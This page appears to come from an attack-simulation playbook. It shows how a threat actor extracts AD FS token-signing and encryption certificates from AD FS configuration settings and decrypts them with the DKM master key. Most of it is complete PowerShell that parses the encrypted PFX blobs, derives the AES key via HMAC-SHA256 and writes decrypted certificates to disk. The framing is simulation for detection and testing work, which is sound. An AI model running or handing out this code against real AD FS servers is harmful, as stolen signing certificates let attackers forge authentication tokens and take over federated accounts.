Export AD FS Certificates via DKM Master Key#

A threat actor could use the AD FS configuration settings to extract sensitive information such as AD FS certificates (encrypted) and get the path to the AD FS DKM container in the domain controller. The AD FS DKM master key can then be retrieved from the AD container and used to decrypt AD FS certificate.

Preconditions#

  • Input:

    • AD FS Configuration Settings

    • AD FS DKM Master Key

Simulation Steps#

Extract AD FS Token Signing Certificate#

[xml]$xml=$settings
$encTokenSigningPfx=$xml.ServiceSettingsData.SecurityTokenService.AdditionalSigningTokens.CertificateReference.EncryptedPfx
$encPfxBytes=[System.Convert]::FromBase64String($encTokenSigningPfx)
$encPfxBytes | Format-Hex

Extract AD FS Encryption Certificate#

[xml]$xml=$settings
$encEncryptionPfx=$xml.ServiceSettingsData.SecurityTokenService.AdditionalEncryptionTokens.CertificateReference.EncryptedPfx
$encPfxBytes=[System.Convert]::FromBase64String($encEncryptionPfx)
$encPfxBytes | Format-Hex

Decrypt Certificates#

$key = '<ADFS-DKM-KEY>'

$certs = [ordered]@{}
$certs["signing"] =    $encTokenSigningPfx
$certs["encryption"] = $encEncryptionPfx

# Iterate over certificate objets
foreach ($certType in $certs.Keys) {
    $encPfxBytes=[System.Convert]::FromBase64String($certs[$certType])
    $guid=        $encPfxBytes[8..25]  # 18 bytes
    $KDF_oid=     $encPfxBytes[26..36] # 11 bytes
    $MAC_oid=     $encPfxBytes[37..47] # 11 byte
    $enc_oid=     $encPfxBytes[48..58] # 11 bytes
    $nonce=       $encPfxBytes[59..92] # 34 bytes
    $iv=          $encPfxBytes[93..110] # 18 bytes
    $ciphertext = $encPfxBytes[115..$($encPfxBytes.Length-33)]
    $cipherMAC =  $encPfxBytes[$($encPfxBytes.Length-32)..$($encPfxBytes.Length)]

    # Create the label
    $label = $enc_oid + $MAC_oid

    # Derive the decryption key using (almost) standard NIST SP 800-108. The last bit array should be the size of the key in bits, but MS is using bytes (?)
    # As the key size is only 16 bytes (128 bits), no need to loop.
    $hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$key)
    $hmacOutput = $hmac.ComputeHash( @(0x00,0x00,0x00,0x01) + $label + @(0x00) + $nonce[2..33] + @(0x00,0x00,0x00,0x30) )
    $decryptionKey = $hmacOutput[0..15]
    Write-Verbose "Decryption key:"
    Write-Verbose "$($decryptionKey|Format-Hex)"
    # Create a decryptor and decrypt
    $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
    $Crypto.Mode="CBC"
    $Crypto.KeySize = 128
    $Crypto.BlockSize = 128
    $Crypto.Padding = "None"
    $Crypto.Key = $decryptionKey
    $Crypto.IV = $iv[2..17]
    $decryptor = $Crypto.CreateDecryptor()

    # Create a memory stream and write the cipher text to it through CryptoStream
    $ms = New-Object System.IO.MemoryStream
    $cs = New-Object System.Security.Cryptography.CryptoStream($ms,$decryptor,[System.Security.Cryptography.CryptoStreamMode]::Write)
    $cs.Write($ciphertext,0,$ciphertext.Count)
    $cs.Close()
    $cs.Dispose()

    # Get the results
    $decryptedBytes = $ms.ToArray()
    $ms.Close()
    $ms.Dispose()

    $CertificatePath = "C:\ProgramData\ADFS_$($certType)_$(get-date -format yyyy-MM-ddTHHmmssff).pfx"
    $decryptedBytes | Set-Content $CertificatePath -Encoding Byte

    Get-item $CertificatePath
}

Output#

  • AD FS Encryption Certificate

  • AD FS Token Signing Certificate